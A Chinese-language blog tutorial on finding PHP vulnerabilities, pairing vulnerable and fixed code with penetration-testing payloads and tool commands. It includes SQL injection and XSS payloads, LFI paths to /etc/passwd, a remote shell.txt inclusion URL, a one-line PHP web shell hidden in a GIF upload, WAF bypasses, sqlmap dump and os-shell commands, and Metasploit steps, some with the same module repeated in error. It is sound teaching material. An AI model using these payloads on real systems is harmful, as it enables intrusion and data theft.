教程旨在帮助安全研究人员、渗透测试人员和开发者了解PHP应用程序中常见的漏洞类型,学习如何识别这些漏洞,以及如何进行安全的渗透测试。
常见PHP漏洞类型
SQL注入漏洞
SQL注入是一种通过操纵SQL查询来获取未授权数据或执行恶意操作的攻击技术。
漏洞代码示例:
<?php
// 危险的代码 - 存在SQL注入
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysql_query($query);
?>
安全的代码示例
<?php
// 安全的代码 - 使用预处理语句
$id = $_GET['id'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
$result = $stmt->fetch();
?>
检测方法
- 使用单引号测试:`' OR 1=1 --`
- 使用布尔盲注:`' AND 1=1 --`
- 使用时间盲注:`' AND SLEEP(5) --`
跨站脚本攻击(XSS)
XSS是一种将恶意脚本注入到网页中的攻击技术,当其他用户访问该页面时,恶意脚本会在他们的浏览器中执行。
漏洞代码示例
<?php
// 反射型XSS
$name = $_GET['name'];
echo "Hello, " . $name . "!";
?>
安全的代码示例
<?php
// 安全的代码 - 使用htmlspecialchars
$name = $_GET['name'];
echo "Hello, " . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "!";
?>
XSS类型
1. **反射型XSS**:恶意脚本从URL参数中反射
2. **存储型XSS**:恶意脚本存储在数据库中
3. **DOM型XSS**:通过修改DOM结构执行
文件包含漏洞
本地文件包含(LFI)
<?php
// 危险的代码
$page = $_GET['page'];
include($page . '.php');
?>
远程文件包含(RFI)
<?php
// 危险的代码
$file = $_GET['file'];
include($file);
?>
防护方法
<?php
// 安全的代码
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
include('error.php');
}
?>
文件上传漏洞
漏洞代码示例
<?php
// 危险的代码 - 没有验证文件类型
if (isset($_FILES['file'])) {
$upload_dir = 'uploads/';
$file_name = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $file_name);
}
?>
安全的文件上传
<?php
// 安全的代码
if (isset($_FILES['file'])) {
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$max_size = 5 * 1024 * 1024; // 5MB
if (in_array($_FILES['file']['type'], $allowed_types) &&
$_FILES['file']['size'] <= $max_size) {
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$new_filename = uniqid() . '.' . $file_extension;
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_filename);
}
}
?>
命令执行漏洞
漏洞代码示例
<?php
// 危险的代码
$command = $_GET['cmd'];
system($command);
?>
安全的代码示例
<?php
// 安全的代码 - 使用白名单
$allowed_commands = ['ls', 'pwd', 'whoami'];
$command = $_GET['cmd'];
if (in_array($command, $allowed_commands)) {
$output = shell_exec($command);
echo htmlspecialchars($output);
}
?>
会话管理漏洞
常见问题
1. **会话固定攻击**
2. **会话劫持**
3. **会话超时设置不当**
安全的会话管理
<?php
// 安全的会话配置
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.use_strict_mode', 1);
session_start();
// 重新生成会话ID
if (!isset($_SESSION['initialized'])) {
session_regenerate_id(true);
$_SESSION['initialized'] = true;
}
?>
目录遍历漏洞
漏洞代码示例
<?php
// 危险的代码
$file = $_GET['file'];
readfile($file);
?>
安全的代码示例
<?php
// 安全的代码
$file = $_GET['file'];
$base_path = '/var/www/files/';
$real_path = realpath($base_path . $file);
if ($real_path && strpos($real_path, $base_path) === 0) {
readfile($real_path);
} else {
die('Access denied');
}
?>
信息泄露
常见泄露点
1. **错误信息泄露**
2. **版本信息泄露**
3. **调试信息泄露**
4. **配置文件泄露**
防护方法
<?php
// 生产环境配置
error_reporting(0);
ini_set('display_errors', 0);
// 自定义错误处理
function custom_error_handler($errno, $errstr, $errfile, $errline) {
error_log("Error: $errstr in $errfile on line $errline");
return true;
}
set_error_handler('custom_error_handler');
?>
权限控制漏洞
常见问题
1. **水平权限提升**
2. **垂直权限提升**
3. **访问控制缺失**
安全的权限检查
<?php
// 安全的权限检查
session_start();
function check_permission($required_role) {
if (!isset($_SESSION['user_id'])) {
return false;
}
$user_role = $_SESSION['user_role'];
return $user_role === $required_role || $user_role === 'admin';
}
// 使用示例
if (check_permission('user')) {
// 执行用户操作
} else {
die('Access denied');
}
?>
业务逻辑漏洞
常见类型
1. **竞态条件**
2. **逻辑绕过**
3. **参数篡改**
防护示例
<?php
// 防止竞态条件
function transfer_money($from_account, $to_account, $amount) {
global $pdo;
$pdo->beginTransaction();
try {
// 检查余额
$stmt = $pdo->prepare("SELECT balance FROM accounts WHERE id = ? FOR UPDATE");
$stmt->execute([$from_account]);
$current_balance = $stmt->fetchColumn();
if ($current_balance < $amount) {
throw new Exception('Insufficient funds');
}
// 执行转账
$stmt = $pdo->prepare("UPDATE accounts SET balance = balance - ? WHERE id = ?");
$stmt->execute([$amount, $from_account]);
$stmt = $pdo->prepare("UPDATE accounts SET balance = balance + ? WHERE id = ?");
$stmt->execute([$amount, $to_account]);
$pdo->commit();
} catch (Exception $e) {
$pdo->rollBack();
throw $e;
}
}
?>
漏洞寻找方法
信息收集阶段
1. 目标识别
![图片[1]-php开发漏洞探寻与渗透测试(1)](http://cdn.mrz2516.com//uploads/68749ae4c8259_1752472292.jpg)
# 使用nmap扫描目标
nmap -sS -sV -O target.com
# 使用dirb扫描目录
dirb http://target.com
# 使用nikto扫描Web服务器
nikto -h https://www.mrz2516.com
2. 技术栈识别
- **Web服务器**:Apache、Nginx、IIS
- **编程语言**:PHP版本、框架
- **数据库**:MySQL、PostgreSQL、SQLite
- **CMS系统**:WordPress、Joomla、Drupal
3. 子域名枚举
# 使用subfinder
subfinder -d mrz2516.com
# 使用amass
amass enum -d mrz2516.com
# 使用Sublist3r
python sublist3r.py -d mrz2516.com
手动漏洞寻找
1. SQL注入检测
基本检测方法
--SQL
-- 单引号测试
' OR 1=1 --
-- 布尔盲注
' AND 1=1 --
' AND 1=2 --
-- 时间盲注
' AND SLEEP(5) --
-- 联合查询
' UNION SELECT 1,2,3 --
自动化检测脚本
# Python
import requests
import time
def test_sql_injection(url, parameter):
payloads = [
"' OR 1=1 --",
"' AND 1=1 --",
"' AND SLEEP(5) --",
"' UNION SELECT 1,2,3 --"
]
for payload in payloads:
params = {parameter: payload}
start_time = time.time()
response = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time > 4: # 时间盲注检测
print(f"[+] 时间盲注漏洞: {payload}")
if "error" in response.text.lower(): # 错误信息检测
print(f"[+] SQL错误信息: {payload}")
2. XSS漏洞检测
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
自动化检测
#Python
def test_xss(url, parameter):
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')"
]
for payload in payloads:
params = {parameter: payload}
response = requests.get(url, params=params)
if payload in response.text:
print(f"[+] 反射型XSS: {payload}")
3. 文件包含漏洞检测
LFI检测
// php常见路径
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
RFI检测
// 远程文件包含
https://mrz2516.com/shell.txt
data://text/plain,<?php system($_GET['cmd']); ?>
php://filter/convert.base64-encode/resource=index.php
4. 文件上传漏洞检测
绕过方法
# 文件扩展名绕过
shell.php -> shell.php.jpg
shell.php -> shell.php%00.jpg
shell.php -> shell.php;.jpg
# MIME类型绕过
Content-Type: image/jpeg (实际是PHP文件)
# 文件内容绕过
GIF89a<?php system($_GET['cmd']); ?>
自动化工具使用
1. OWASP ZAP
![图片[2]-php开发漏洞探寻与渗透测试(1)](http://cdn.mrz2516.com//uploads/68749b5a58adb_1752472410.png)
# 启动ZAP
zap.sh
# 命令行扫描
zap-cli quick-scan --self-contained https://www.mrz2516.com
2. Burp Suite
![图片[3]-php开发漏洞探寻与渗透测试(1)](http://cdn.mrz2516.com//uploads/68749bc7c7aba_1752472519.png)
- **Spider**:爬取网站结构
- **Scanner**:自动漏洞扫描
- **Intruder**:参数爆破
- **Repeater**:请求重放
3. SQLMap
![图片[4]-php开发漏洞探寻与渗透测试(1)](http://cdn.mrz2516.com//uploads/68749c2baad70_1752472619.png)
# 基本扫描
sqlmap -u "https://www.mrz2516.com/page.php?id=1"
# 数据库枚举
sqlmap -u "http://mrz2516.com/page.php?id=1" --dbs
# 表枚举
sqlmap -u "http://mrz2516.com/page.php?id=1" -D database_name --tables
# 数据提取
sqlmap -u "http://mrz2516.com/page.php?id=1" -D database_name -T users --dump
4. XSSer
![图片[5]-php开发漏洞探寻与渗透测试(1)](http://cdn.mrz2516.com//uploads/68749cbcd483f_1752472764.png)
# XSS扫描
xsser --url "http://mrz2516.com/page.php?param=value"
# 自动化扫描
xsser --auto --reverse-check
代码审计方法
1. 静态代码分析
# 使用RIPS
php rips.php
# 使用PHPCS
phpcs --standard=PSR2 file.php
# 使用SonarQube
sonar-scanner
2. 关键函数搜索
# 搜索危险函数
grep -r "system\|exec\|shell_exec\|passthru" .
grep -r "include\|require\|include_once\|require_once" .
grep -r "mysql_query\|mysqli_query" .
3. 输入验证检查
$_GET, $_POST, $_REQUEST
$_FILES
$_COOKIE
$_SERVER
漏洞验证方法
1. 概念验证(PoC)
<?php
// SQL注入PoC
$id = "1' OR 1=1 --";
$query = "SELECT * FROM users WHERE id = $id";
// 验证是否返回所有用户数据
// XSS PoC
$name = "<script>alert('XSS')</script>";
echo "Hello, $name";
// 验证是否执行JavaScript
?>
2. 错误信息分析
<?php
// 启用错误显示(仅测试环境)
error_reporting(E_ALL);
ini_set('display_errors', 1);
// 分析错误信息
try {
// 可疑代码
} catch (Exception $e) {
echo $e->getMessage();
}
?>
3. 日志分析
# 查看Apache错误日志
tail -f /var/log/apache2/error.log
# 查看PHP错误日志
tail -f /var/log/php_errors.log
# 查看访问日志
tail -f /var/log/apache2/access.log
高级技术
1. 盲注技术
-- 布尔盲注
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a' --
-- 时间盲注
' AND IF((SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a',SLEEP(5),0) --
-- 报错注入
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1) --
2. 绕过技术
// 绕过WAF
// 编码绕过
%3Cscript%3Ealert('XSS')%3C/script%3E
// 大小写绕过
<ScRiPt>alert('XSS')</ScRiPt>
// 注释绕过
<scr<!-- -->ipt>alert('XSS')</scr<!-- -->ipt>
3. 链式攻击
// 文件上传 + 文件包含
// 1. 上传PHP文件
// 2. 通过文件包含执行
// SQL注入 + 文件写入
// 1. 通过SQL注入获取文件写入权限
// 2. 写入WebShell
渗透测试工具
信息收集工具
1. Nmap
# 基本扫描
nmap mrz2516.com
# 端口扫描
nmap -p 1-1000 mrz2516.com
# 服务版本检测
nmap -sV mrz2516.com
# 操作系统检测
nmap -O mrz2516.com
# 脚本扫描
nmap --script=vuln mrz2516.com
2. Dirb/Dirbuster
# 目录扫描
dirb http://mrz2516.com
# 自定义字典
dirb http://mrz2516.com /path/to/wordlist.txt
# 递归扫描
dirb http://mrz2516.com -r
# 扩展名扫描
dirb http://mrz2516.com -X .php,.html,.txt
3. Nikto
# 基本扫描
nikto -h http://mrz2516.com
# 详细输出
nikto -h http://mrz2516.com -v
# 保存结果
nikto -h http://mrz2516.com -o nikto_results.txt
# 多线程扫描
nikto -h http://mrz2516.com -T 10
4. Subfinder
# 子域名枚举
subfinder -d mrz2516.com
# 保存结果
subfinder -d mrz2516.com -o subdomains.txt
# 使用API
subfinder -d mrz2516.com -t 100 -o subdomains.txt
Web应用扫描工具
1. OWASP ZAP
# 启动ZAP
zap.sh
# 基本扫描步骤
1. 输入目标URL
2. 点击"Quick Scan"
3. 查看扫描结果
4. 分析漏洞报告
命令行使用
# 快速扫描
zap-cli quick-scan --self-contained http://mrz2516.com
# 爬虫扫描
zap-cli spider http://mrz2516.com
# 主动扫描
zap-cli active-scan http://mrz2516.com
# 生成报告
zap-cli report -o report.html
2. Burp Suite
- **Proxy**:拦截和修改HTTP请求
- **Spider**:自动爬取网站
- **Scanner**:自动漏洞扫描
- **Intruder**:参数爆破
- **Repeater**:请求重放
- **Sequencer**:随机性测试
配置代理
# 浏览器代理设置
地址: 127.0.0.1
端口: 8080
# 导入证书
访问 http://burp/cert
3. SQLMap
# 检测SQL注入
sqlmap -u "http://mrz2516.com/page.php?id=1"
# 获取数据库列表
sqlmap -u "http://mrz2516.com/page.php?id=1" --dbs
# 获取表列表
sqlmap -u "http://mrz2516.com/page.php?id=1" -D database_name --tables
# 获取列信息
sqlmap -u "http://mrz2516.com/page.php?id=1" -D database_name -T users --columns
# 提取数据
sqlmap -u "http://mrz2516.com/page.php?id=1" -D database_name -T users --dump
高级选项
# 使用POST数据
sqlmap -u "http://mrz2516.com/login.php" --data="user=admin&pass=test"
# 使用Cookie
sqlmap -u "http://mrz2516.com/page.php?id=1" --cookie="session=abc123"
# 绕过WAF
sqlmap -u "http://mrz2516.com/page.php?id=1" --tamper=space2comment
# 获取Shell
sqlmap -u "http://mrz2516.com/page.php?id=1" --os-shell
4. XSSer
# XSS扫描
xsser --url "http://mrz2516.com/page.php?param=value"
# 自动化扫描
xsser --auto --reverse-check
# 使用自定义Payload
xsser --url "http://mrz2516.com/page.php?param=value" --payloads custom_payloads.txt
代码审计工具
1. RIPS
# 安装RIPS
git clone https://github.com/ripsscanner/rips.git
cd rips
# 运行扫描
php rips.php
# 指定扫描目录
php rips.php /path/to/php/files
2. PHPCS
# 安装PHPCS
composer global require squizlabs/php_codesniffer
# 代码规范检查
phpcs file.php
# 安全规则检查
phpcs --standard=PSR2 file.php
# 生成报告
phpcs --report=html file.php > report.html
3. SonarQube
# 安装SonarQube
docker run -d --name sonarqube -p 9000:9000 sonarqube
# 运行扫描
sonar-scanner \
-Dsonar.projectKey=myproject \
-Dsonar.sources=. \
-Dsonar.host.url=http://localhost:9000
漏洞利用工具
1. Metasploit Framework
# 启动Metasploit
msfconsole
# 搜索模块
search php
# 使用模块
use exploit/multi/http/php_cgi_arg_injection
# 设置参数
set RHOSTS mrz2516.com
set RPORT 80
set TARGETURI /path/to/vulnerable.php
# 执行攻击
exploit
PHP相关模块
# PHP CGI参数注入
use exploit/multi/http/php_cgi_arg_injection
# PHP文件包含
use exploit/multi/http/php_cgi_arg_injection
# PHP反序列化
use exploit/multi/http/php_cgi_arg_injection
```
### 2. BeEF (Browser Exploitation Framework)
```bash
# 安装BeEF
git clone https://github.com/beefproject/beef.git
cd beef
./install
# 启动BeEF
./beef
# 访问控制面板
http://localhost:3000/ui/panel
自定义工具开发
1. Python脚本示例
SQL注入检测器
#!/usr/bin/env python3
import requests
import time
import sys
class SQLInjectionScanner:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
def test_injection(self, parameter, payload):
params = {parameter: payload}
start_time = time.time()
try:
response = self.session.get(self.target_url, params=params, timeout=10)
end_time = time.time()
# 检查时间延迟
if end_time - start_time > 5:
return True, "时间盲注"
# 检查错误信息
if "sql" in response.text.lower() or "mysql" in response.text.lower():
return True, "SQL错误信息"
# 检查布尔盲注
if "admin" in response.text.lower():
return True, "布尔盲注"
except Exception as e:
print(f"错误: {e}")
return False, None
def scan_parameter(self, parameter):
payloads = [
"' OR 1=1 --",
"' AND 1=1 --",
"' AND SLEEP(5) --",
"' UNION SELECT 1,2,3 --"
]
for payload in payloads:
vulnerable, vuln_type = self.test_injection(parameter, payload)
if vulnerable:
print(f"[+] 发现SQL注入: {parameter} = {payload} ({vuln_type})")
return True
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print("用法: python3 sql_scanner.py <target_url> <parameter>")
sys.exit(1)
scanner = SQLInjectionScanner(sys.argv[1])
scanner.scan_parameter(sys.argv[2])
XSS检测器
#!/usr/bin/env python3
import requests
import sys
class XSSScanner:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
def test_xss(self, parameter, payload):
params = {parameter: payload}
try:
response = self.session.get(self.target_url, params=params)
# 检查反射型XSS
if payload in response.text:
return True, "反射型XSS"
except Exception as e:
print(f"错误: {e}")
return False, None
def scan_parameter(self, parameter):
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')"
]
for payload in payloads:
vulnerable, vuln_type = self.test_xss(parameter, payload)
if vulnerable:
print(f"[+] 发现XSS: {parameter} = {payload} ({vuln_type})")
return True
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print("用法: python3 xss_scanner.py <target_url> <parameter>")
sys.exit(1)
scanner = XSSScanner(sys.argv[1])
scanner.scan_parameter(sys.argv[2])
2. Bash脚本示例
端口扫描器
#!/bin/bash
# 简单的端口扫描器
target=$1
start_port=$2
end_port=$3
if [ -z "$target" ] || [ -z "$start_port" ] || [ -z "$end_port" ]; then
echo "用法: $0 <target> <start_port> <end_port>"
exit 1
fi
echo "扫描目标: $target"
echo "端口范围: $start_port-$end_port"
echo "开始扫描..."
for port in $(seq $start_port $end_port); do
(echo >/dev/tcp/$target/$port) 2>/dev/null && echo "端口 $port 开放"
done
echo "扫描完成"
工具集成
自动化扫描
#!/bin/bash
# 自动化漏洞扫描脚本
target=$1
if [ -z "$target" ]; then
echo "用法: $0 <target>"
exit 1
fi
echo "开始扫描目标: $target"
# 1. 端口扫描
echo "执行端口扫描..."
nmap -sS -sV -O $target > nmap_results.txt
# 2. Web服务扫描
echo "执行Web服务扫描..."
nikto -h http://$target -o nikto_results.txt
# 3. 目录扫描
echo "执行目录扫描..."
dirb http://$target > dirb_results.txt
# 4. SQL注入扫描
echo "执行SQL注入扫描..."
sqlmap -u "http://$target/page.php?id=1" --batch --output-dir sqlmap_results
echo "扫描完成,结果保存在相应文件中"
2. 报告生成器
#!/usr/bin/env python3
import os
import datetime
def generate_report(target, results):
report = f"""
# 渗透测试报告
## 基本信息
- 目标: {target}
- 扫描时间: {datetime.datetime.now()}
- 扫描工具: 自定义扫描器
## 扫描结果
{results}
## 建议
- 修复发现的漏洞
- 定期进行安全扫描
- 实施安全最佳实践
---
报告生成时间: {datetime.datetime.now()}
"""
with open(f"report_{target}_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.md", "w") as f:
f.write(report)
if __name__ == "__main__":
target = input("输入目标: ")
results = input("输入扫描结果: ")
generate_report(target, results)
工具配置
1. 代理配置
# Burp Suite代理
export http_proxy=http://127.0.0.1:8080
export https_proxy=http://127.0.0.1:8080
# 设置证书
curl --proxy 127.0.0.1:8080 --cacert burp.cer https://mrz2516.com
2. 字典文件
# 常见路径字典
/common/
/admin/
/backup/
/config/
/db/
/files/
/logs/
/temp/
/upload/
3. 配置文件
# sqlmap.conf
[default]
level=1
risk=1
threads=10
timeout=30
太多啦,写不动了,剩下的实战与防护措施下一篇再更新,希望该文章能帮到你在开发中修复与检测到漏洞!
欢迎各大站长进QQ群交流:
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容